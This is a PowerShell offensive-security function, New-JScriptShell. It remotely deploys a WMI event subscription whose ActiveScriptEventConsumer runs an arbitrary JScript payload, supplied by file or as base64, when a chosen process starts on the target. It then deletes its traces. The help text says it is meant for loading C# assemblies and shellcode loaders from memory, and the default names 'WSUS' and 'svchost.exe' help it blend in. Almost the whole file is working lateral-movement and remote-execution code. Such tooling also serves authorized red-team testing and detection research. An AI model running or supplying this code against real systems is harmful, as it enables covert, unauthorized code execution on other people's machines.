function New-JScriptShell {
<#
.SYNOPSIS
Deploy a wmi event subscription remotely, using the ActiveScriptEventConsumer
Author: Christopher Ross (@xorrior)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This script can be used to remotely (or locally) deploy a wmi event subscription with an ActiveScriptEventConsumer. This is not a new technique
except for the fact that @tirannido recently released a really interesting method that would allow for dynamic loading of a csharp assembly entirely from memory within a jscript file.
We can use this technique to remotely deploy csharp assemblies without writing to disk (i.e. SharpPick for powershell, a shellcode loader, .etc). The trigger to deploy
this consumer is a Win32_ProcessStartTrace event for the process specified. Once the event has occurred, the JScript payload will be executed. All components of the Wmi subscription will
be cleaned up.
.PARAMETER Target
Host to target. Do not use for localhost.
.PARAMETER Domain
Domain for a PSCredential object to be used with the Set-WmiInstance cmdlet.
.PARAMETER Username
Username for a PSCredential object to be used with the Set-WmiInstance cmdlet.
.PARAMETER Password
The password for a PSCredential object to be used with the Set-WmiInstance cmdlet.
.PARAMETER ConsumerName
The name of the ActiveScriptEventConsumer
.PARAMETER FilterName
The name of the EventFilter
.PARAMETER JScriptPath
Path to the jscript file to use as the payload. If not used, the inline JScript payload will be used.
.PARAMETER ProcessName
Name of the process to execute and trigger the payload
.EXAMPLE
Execute the JScript payload on a remote host with 'notepad.exe' as the trigger process
New-JScriptShell -Target '192.168.1.7' -ProcessName 'notepad.exe'
.EXAMPLE
Execute the JScript payload from a file path on a remote host, with credentials, with 'calc.exe' as the trigger process.
New-JScriptShell -Target '192.168.1.7' -Domain Test -Username 'Administrator' -Password 'P@ssw0rd' -ProcessName 'scvhost.exe'
#>
[CmdletBinding(DefaultParameterSetName = 'None')]
param
(
[Parameter(Mandatory = $false, ValueFromPipeline = $true)]
[ValidateNotNullOrEmpty()]
[string]$Target,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$Domain,
[Parameter(Mandatory = $false, ParameterSetName = "Credentials")]
[ValidateNotNullOrEmpty()]
[string]$Username,
[Parameter(Mandatory = $false, ParameterSetName = "Credentials")]
[ValidateNotNullOrEmpty()]
[string]$Password,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$ConsumerName = 'WSUS',
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$FilterName = 'WSUS',
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[ValidateScript({Test-Path -Path $_})]
[string]$JScriptPath,
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$ProcessName = 'svchost.exe',
[Parameter(Mandatory = $false)]
[ValidateNotNullOrEmpty()]
[string]$Payload
)
$wmiArgs = @{}
$commonArgs = @{}
if ($Domain) {
$Username = $Domain + "\" + $Username
}
if ($Payload) {
$Payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Payload))
}
#Assign credentials and computer name if used
if ($PSCmdlet.ParameterSetName -eq "Credentials" -and $PSBoundParameters['Target']) {
$securePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$commonArgs['Credential'] = New-Object System.Management.Automation.PSCredential $Username,$securePassword
}
if($PSBoundParameters['Target']) {
$commonArgs['ComputerName'] = $Target
}
if ($PSBoundParameters['JScriptPath']) {
$Payload = [System.IO.File]::ReadAllText($JScriptPath)
}
#setup the event filter
$Query = "SELECT * FROM Win32_ProcessStartTrace where processname ='$ProcessName'"
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $FilterName
Query = $Query
QueryLanguage = 'WQL'
}
echo "[*] Creating the WMI filter"
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @commonArgs
#setup the ActiveScriptEventConsumer
$ActiveScriptEventConsumerArgs = @{
Name = $ConsumerName
ScriptingEngine = 'JScript'
ScriptText = $Payload
}
Start-Sleep -Seconds 5
echo "[*] Creating the WMI consumer"
$Consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ActiveScriptEventConsumerArgs @commonArgs
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Start-Sleep -Seconds 5
echo "[*] Creating the WMI filter to consumer binding"
$FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs @commonArgs
echo "[+] Executing process trigger"
Start-Sleep -Seconds 5
$result = Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "$ProcessName" @commonArgs
if ($result.returnValue -ne 0) {
echo "[-] Trigger process was not started"
break
}
Start-Sleep -Seconds 5
$EventConsumerToCleanup = Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer -Filter "Name = '$ConsumerName'" @commonArgs
$EventFilterToCleanup = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name = '$FilterName'" @commonArgs
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root\subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" @commonArgs
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
$FilterConsumerBindingToCleanup | Remove-WmiObject
$OutputObject = New-Object -TypeName PSObject
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'Target' -Value $Target
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'FilterName' -Value $FilterName
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ConsumerName' -Value $ConsumerName
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ProcessTrigger' -Value $ProcessName
$OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'Query' -Value $Query
$OutputObject
echo "[+] Cleaning up the subscriptions"
}